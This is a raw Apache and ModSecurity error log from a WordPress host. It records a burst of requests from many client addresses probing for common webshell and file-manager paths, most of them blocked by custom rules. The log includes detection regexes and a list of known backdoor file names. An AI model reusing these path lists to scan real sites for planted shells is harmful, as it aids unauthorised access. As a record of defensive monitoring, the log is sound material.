[Mon Nov 24 01:17:11.338171 2025] [:error] [pid 8337:tid 8347] [client 212.30.33.154:43045] [client 212.30.33.154] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/makeasmtp.php"] [unique_id "aSNBl-Smps4S2j95D5h23wAAAAg"]
[Mon Nov 24 01:17:12.450099 2025] [:error] [pid 1452:tid 1480] [client 212.30.33.207:25649] [client 212.30.33.207] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/about.php"] [unique_id "aSNBmBKZkEEyVNVXr_nD8wAAAFc"]
[Mon Nov 24 01:17:17.367371 2025] [:error] [pid 8337:tid 8341] [client 212.30.33.156:40557] File does not exist: /usr/local/apache/htdocs/suspended-page/chosen-667.php
[Mon Nov 24 01:17:18.116477 2025] [:error] [pid 8337:tid 8357] [client 212.30.33.156:40557] File does not exist: /usr/local/apache/htdocs/suspended-page/network.php
[Mon Nov 24 01:17:18.727910 2025] [:error] [pid 8337:tid 8347] [client 212.30.33.156:40557] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/index.php
[Mon Nov 24 01:17:19.314422 2025] [:error] [pid 8337:tid 8363] [client 212.30.33.156:40557] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-mail.php
[Mon Nov 24 01:17:20.417062 2025] [:error] [pid 8337:tid 8360] [client 212.30.33.156:40557] File does not exist: /usr/local/apache/htdocs/suspended-page/yanz.php
[Mon Nov 24 01:17:24.541888 2025] [:error] [pid 8337:tid 8358] [client 212.30.33.156:40557] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/zmFM.php
[Mon Nov 24 01:17:30.426016 2025] [:error] [pid 8337:tid 8344] [client 212.30.33.156:40557] File does not exist: /usr/local/apache/htdocs/suspended-page/tiny.php
[Mon Nov 24 01:17:30.940995 2025] [:error] [pid 8337:tid 8351] [client 212.30.33.156:40557] File does not exist: /usr/local/apache/htdocs/suspended-page/edit.php
[Mon Nov 24 01:17:32.223473 2025] [:error] [pid 8337:tid 8363] [client 212.30.33.156:40557] File does not exist: /usr/local/apache/htdocs/suspended-page/first.php
[Mon Nov 24 01:17:33.286985 2025] [:error] [pid 8337:tid 8355] [client 212.30.33.156:40557] [client 212.30.33.156] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/SimplePie/index.php"] [unique_id "aSNBreSmps4S2j95D5h3DAAAABA"]
[Mon Nov 24 01:17:37.893263 2025] [:error] [pid 8337:tid 8357] [client 212.30.33.107:54495] [client 212.30.33.107] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/bak.php"] [unique_id "aSNBseSmps4S2j95D5h3JwAAABI"]
[Mon Nov 24 01:17:39.069563 2025] [:error] [pid 1454:tid 1521] [client 212.30.33.137:43357] File does not exist: /usr/local/apache/htdocs/suspended-page/bs1.php
[Mon Nov 24 01:17:39.651900 2025] [:error] [pid 1454:tid 1518] [client 212.30.33.137:43357] [client 212.30.33.137] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/images/wp-login.php"] [unique_id "aSNBs7eh4NH3skJ5n4Ry1gAAAMY"]
[Mon Nov 24 01:17:43.782234 2025] [:error] [pid 8337:tid 8343] [client 212.30.33.143:60857] File does not exist: /usr/local/apache/htdocs/suspended-page/cron.php
[Mon Nov 24 01:17:48.489625 2025] [:error] [pid 8337:tid 8359] [client 212.30.33.143:60857] File does not exist: /usr/local/apache/htdocs/suspended-page/db.php
[Mon Nov 24 01:17:49.013041 2025] [:error] [pid 8337:tid 8341] [client 212.30.33.143:60857] [client 212.30.33.143] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "windfarmcoolants.com.au"] [uri "/fm.php"] [unique_id "aSNBveSmps4S2j95D5h3PAAAAAI"]
[Mon Nov 24 01:17:50.313544 2025] [:error] [pid 1589:tid 1599] [client 212.30.33.143:49133] [client 212.30.33.143] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/customize/index.php"] [unique_id "aSNBvoI2fvripjU0Eat52wAAAUg"]
[Mon Nov 24 01:17:51.384418 2025] [:error] [pid 1453:tid 1489] [client 212.30.33.147:62161] [client 212.30.33.147] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 212.30.33.147, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/upgrade-temp-backup/wp-login.php"] [unique_id "aSNBvxUBCt7LU0bO_GBMSwAAAIU"]
[Mon Nov 24 01:17:52.755463 2025] [:error] [pid 1453:tid 1503] [client 212.30.33.147:62161] File does not exist: /usr/local/apache/htdocs/suspended-page/a.php
[Mon Nov 24 01:17:55.304108 2025] [:error] [pid 1453:tid 1484] [client 212.30.33.147:62161] [client 212.30.33.147] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/themes.php"] [unique_id "aSNBwxUBCt7LU0bO_GBMTwAAAIA"]
[Mon Nov 24 01:17:56.783635 2025] [:error] [pid 8337:tid 8351] [client 212.30.33.226:45525] File does not exist: /usr/local/apache/htdocs/suspended-page/chosen.php
[Mon Nov 24 01:17:58.713944 2025] [:error] [pid 8337:tid 8360] [client 212.30.33.226:45525] File does not exist: /usr/local/apache/htdocs/suspended-page/back.php
[Mon Nov 24 01:18:08.210822 2025] [:error] [pid 8337:tid 8352] [client 212.30.33.226:45525] [client 212.30.33.226] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/wp-includes_function.php"] [unique_id "aSNB0OSmps4S2j95D5h3WwAAAA0"]
[Mon Nov 24 01:18:09.295539 2025] [:error] [pid 1454:tid 1515] [client 212.30.33.120:53409] File does not exist: /usr/local/apache/htdocs/suspended-page/new.php
[Mon Nov 24 01:18:11.559650 2025] [:error] [pid 1454:tid 1536] [client 212.30.33.120:53409] [client 212.30.33.120] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/images/about.php"] [unique_id "aSNB07eh4NH3skJ5n4Ry5wAAANg"]
[Mon Nov 24 01:18:13.333174 2025] [:error] [pid 8337:tid 8348] [client 212.30.33.207:52663] File does not exist: /usr/local/apache/htdocs/suspended-page/phpfm3.php
[Mon Nov 24 01:18:13.775871 2025] [:error] [pid 8337:tid 8363] [client 212.30.33.207:52663] [client 212.30.33.207] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/codemirror/about.php"] [unique_id "aSNB1eSmps4S2j95D5h3ZAAAABg"]
[Mon Nov 24 01:18:17.308268 2025] [:error] [pid 1454:tid 1513] [client 212.30.33.129:34077] File does not exist: /usr/local/apache/htdocs/suspended-page/post.php
[Mon Nov 24 01:18:18.082509 2025] [:error] [pid 1454:tid 1523] [client 212.30.33.129:34077] [client 212.30.33.129] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 212.30.33.129, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/languages/themes/wp-login.php"] [unique_id "aSNB2reh4NH3skJ5n4Ry7gAAAMs"]
[Mon Nov 24 01:18:19.965390 2025] [:error] [pid 1454:tid 1531] [client 212.30.33.129:34077] [client 212.30.33.129] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/block-supports/index.php"] [unique_id "aSNB27eh4NH3skJ5n4Ry8gAAANM"]
[Mon Nov 24 01:18:23.931928 2025] [:error] [pid 8337:tid 8360] [client 212.30.33.191:22825] [client 212.30.33.191] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/ID3/about.php"] [unique_id "aSNB3-Smps4S2j95D5h3aQAAABU"]
[Mon Nov 24 01:18:26.806795 2025] [:error] [pid 1452:tid 1459] [client 212.30.33.131:43285] File does not exist: /usr/local/apache/htdocs/suspended-page/randkeyword.php
[Mon Nov 24 01:18:29.318438 2025] [:error] [pid 1452:tid 1477] [client 212.30.33.131:43285] File does not exist: /usr/local/apache/htdocs/suspended-page/xxx.php
[Mon Nov 24 01:18:32.234169 2025] [:error] [pid 1452:tid 1478] [client 212.30.33.131:43285] File does not exist: /usr/local/apache/htdocs/suspended-page/lv.php
[Mon Nov 24 01:18:32.798197 2025] [:error] [pid 1452:tid 1466] [client 212.30.33.131:43285] File does not exist: /usr/local/apache/htdocs/suspended-page/zip.php
[Mon Nov 24 01:18:34.778334 2025] [:error] [pid 1452:tid 1472] [client 212.30.33.131:43285] [client 212.30.33.131] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/block-patterns/about.php"] [unique_id "aSNB6hKZkEEyVNVXr_nEOAAAAE8"]
[Mon Nov 24 01:18:37.267908 2025] [:error] [pid 1452:tid 1462] [client 212.30.33.142:63523] [client 212.30.33.142] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/assets/about.php"] [unique_id "aSNB7RKZkEEyVNVXr_nEPwAAAEU"]
[Mon Nov 24 01:18:39.463894 2025] [:error] [pid 1453:tid 1488] [client 212.30.33.156:61157] [client 212.30.33.156] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/widgets/about.php"] [unique_id "aSNB7xUBCt7LU0bO_GBMZAAAAIQ"]
[Mon Nov 24 01:18:41.638508 2025] [:error] [pid 1453:tid 1507] [client 212.30.33.161:58323] [client 212.30.33.161] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/SimplePie/Content/index.php"] [unique_id "aSNB8RUBCt7LU0bO_GBMZgAAAJY"]
[Mon Nov 24 01:18:42.824229 2025] [:error] [pid 1589:tid 1601] [client 212.30.33.155:60677] [client 212.30.33.155] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/assets/autoload_classmap.php"] [unique_id "aSNB8oI2fvripjU0Eat5-wAAAUo"]
[Mon Nov 24 01:18:47.040938 2025] [:error] [pid 8337:tid 8339] [client 212.30.33.144:39781] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-cron.php
[Mon Nov 24 01:18:47.639063 2025] [:error] [pid 8337:tid 8358] [client 212.30.33.144:39781] [client 212.30.33.144] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/ID3/autoload_classmap.php"] [unique_id "aSNB9-Smps4S2j95D5h3jAAAABM"]
[Mon Nov 24 01:18:49.161903 2025] [:error] [pid 8337:tid 8353] [client 212.30.33.149:44545] File does not exist: /usr/local/apache/htdocs/suspended-page/jp.php
[Mon Nov 24 01:18:49.731839 2025] [:error] [pid 8337:tid 8352] [client 212.30.33.149:44545] File does not exist: /usr/local/apache/htdocs/suspended-page/rcc.php
[Mon Nov 24 01:18:50.352477 2025] [:error] [pid 8337:tid 8360] [client 212.30.33.149:44545] [client 212.30.33.149] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/pomo/about.php"] [unique_id "aSNB-uSmps4S2j95D5h3kQAAABU"]
[Mon Nov 24 01:18:51.612038 2025] [:error] [pid 1589:tid 1614] [client 212.30.33.117:46737] File does not exist: /usr/local/apache/htdocs/suspended-page/class.api.php
[Mon Nov 24 01:18:52.152949 2025] [:error] [pid 1589:tid 1597] [client 212.30.33.117:46737] File does not exist: /usr/local/apache/htdocs/suspended-page/layout.php
[Mon Nov 24 01:18:52.781841 2025] [:error] [pid 1589:tid 1595] [client 212.30.33.117:46737] [client 212.30.33.117] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/rest-api/about.php"] [unique_id "aSNB_II2fvripjU0Eat6CQAAAUQ"]
[Mon Nov 24 01:18:55.056263 2025] [:error] [pid 1452:tid 1479] [client 212.30.33.139:38901] File does not exist: /usr/local/apache/htdocs/suspended-page/history.php
[Mon Nov 24 01:18:55.661845 2025] [:error] [pid 1452:tid 1466] [client 212.30.33.139:38901] [client 212.30.33.139] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/IXR/autoload_classmap.php"] [unique_id "aSNB_xKZkEEyVNVXr_nETAAAAEk"]
[Mon Nov 24 01:19:00.518957 2025] [:error] [pid 1453:tid 1501] [client 212.30.33.109:48205] [client 212.30.33.109] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/rest-api/autoload_classmap.php"] [unique_id "aSNCBBUBCt7LU0bO_GBMgQAAAJA"]
[Mon Nov 24 01:19:01.898141 2025] [:error] [pid 8337:tid 8350] [client 212.30.33.147:33239] [client 212.30.33.147] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/sitemaps/providers/zmFM.php"] [unique_id "aSNCBeSmps4S2j95D5h3pwAAAAs"]
[Mon Nov 24 01:19:05.364715 2025] [:error] [pid 1454:tid 1521] [client 212.30.33.130:28917] [client 212.30.33.130] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/autoload_classmap.php"] [unique_id "aSNCCbeh4NH3skJ5n4RzJAAAAMk"]
[Mon Nov 24 01:19:06.528130 2025] [:error] [pid 1589:tid 1605] [client 212.30.33.183:54507] File does not exist: /usr/local/apache/htdocs/suspended-page/about.php
[Mon Nov 24 01:19:07.601469 2025] [:error] [pid 1589:tid 1606] [client 212.30.33.183:54507] File does not exist: /usr/local/apache/htdocs/suspended-page/cong.php
[Mon Nov 24 01:19:08.286307 2025] [:error] [pid 1589:tid 1612] [client 212.30.33.183:54507] [client 212.30.33.183] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 212.30.33.183, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/cgi-bin/wp-login.php"] [unique_id "aSNCDII2fvripjU0Eat6HgAAAVU"]
[Mon Nov 24 01:19:09.528386 2025] [:error] [pid 1589:tid 1600] [client 212.30.33.183:54507] [client 212.30.33.183] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/sodium_compat/wp-login.php"] [unique_id "aSNCDYI2fvripjU0Eat6IQAAAUk"]
[Mon Nov 24 01:19:13.592515 2025] [:error] [pid 8337:tid 8355] [client 212.30.33.123:41457] [client 212.30.33.123] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/SimplePie/wp-login.php"] [unique_id "aSNCEeSmps4S2j95D5h3yAAAABA"]
[Mon Nov 24 01:19:14.989789 2025] [:error] [pid 1589:tid 1615] [client 212.30.33.146:31547] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-links.php
[Mon Nov 24 01:19:15.497828 2025] [:error] [pid 1589:tid 1607] [client 212.30.33.146:31547] File does not exist: /usr/local/apache/htdocs/suspended-page/makeasmtp.php
[Mon Nov 24 01:19:20.134796 2025] [:error] [pid 1589:tid 1595] [client 212.30.33.146:31547] File does not exist: /usr/local/apache/htdocs/suspended-page/login.php
[Mon Nov 24 01:19:22.796805 2025] [:error] [pid 1589:tid 1605] [client 212.30.33.146:31547] [client 212.30.33.146] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 212.30.33.146, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/maint/wp-login.php"] [unique_id "aSNCGoI2fvripjU0Eat6MQAAAU4"]
[Mon Nov 24 01:19:24.224423 2025] [:error] [pid 1589:tid 1591] [client 212.30.33.146:31547] [client 212.30.33.146] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/fonts/autoload_classmap.php"] [unique_id "aSNCHII2fvripjU0Eat6MgAAAUA"]
[Mon Nov 24 01:19:28.017168 2025] [:error] [pid 1453:tid 1491] [client 212.30.33.156:37669] [client 212.30.33.156] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Text/network.php"] [unique_id "aSNCIBUBCt7LU0bO_GBMpAAAAIc"]
[Mon Nov 24 01:19:30.873589 2025] [:error] [pid 1454:tid 1529] [client 212.30.33.158:45673] [client 212.30.33.158] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/index.php"] [unique_id "aSNCIreh4NH3skJ5n4RzRQAAANE"]
[Mon Nov 24 01:19:35.993797 2025] [:error] [pid 8337:tid 8346] [client 212.30.33.117:44725] File does not exist: /usr/local/apache/htdocs/suspended-page/wander.php
[Mon Nov 24 01:19:36.587275 2025] [:error] [pid 8337:tid 8340] [client 212.30.33.117:44725] [client 212.30.33.117] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/php-compat/autoload_classmap.php"] [unique_id "aSNCKOSmps4S2j95D5h33AAAAAE"]
[Mon Nov 24 01:19:40.746556 2025] [:error] [pid 8337:tid 8347] [client 212.30.33.132:44277] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-config-sample.php
[Mon Nov 24 01:19:43.395179 2025] [:error] [pid 8337:tid 8354] [client 212.30.33.132:44277] File does not exist: /usr/local/apache/htdocs/suspended-page/manager.php
[Mon Nov 24 01:19:44.974061 2025] [:error] [pid 8337:tid 8352] [client 212.30.33.132:44277] File does not exist: /usr/local/apache/htdocs/suspended-page/users.php
[Mon Nov 24 01:19:46.665906 2025] [:error] [pid 8337:tid 8347] [client 212.30.33.132:44277] [client 212.30.33.132] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/block-patterns/autoload_classmap.php"] [unique_id "aSNCMuSmps4S2j95D5h39AAAAAg"]
[Mon Nov 24 01:19:50.289605 2025] [:error] [pid 8337:tid 8362] [client 212.30.33.154:54535] File does not exist: /usr/local/apache/htdocs/suspended-page/sim.php
[Mon Nov 24 01:19:53.437312 2025] [:error] [pid 8337:tid 8347] [client 212.30.33.154:54535] [client 212.30.33.154] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/images/smilies/index.php"] [unique_id "aSNCOeSmps4S2j95D5h3_gAAAAg"]
[Mon Nov 24 01:19:55.378658 2025] [:error] [pid 8337:tid 8344] [client 212.30.33.137:23153] File does not exist: /usr/local/apache/htdocs/suspended-page/function.php
[Mon Nov 24 01:19:59.921390 2025] [:error] [pid 8337:tid 8360] [client 212.30.33.137:23153] [client 212.30.33.137] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/IXR/about.php"] [unique_id "aSNCP-Smps4S2j95D5h4CQAAABU"]
[Mon Nov 24 01:20:05.669307 2025] [:error] [pid 1454:tid 1524] [client 212.30.33.160:38343] [client 212.30.33.160] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/certificates/wp-login.php"] [unique_id "aSNCRbeh4NH3skJ5n4RzXwAAAMw"]
[Mon Nov 24 01:20:07.722794 2025] [:error] [pid 8337:tid 8352] [client 212.30.33.151:48473] [client 212.30.33.151] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/index.php"] [unique_id "aSNCR-Smps4S2j95D5h4GAAAAA0"]
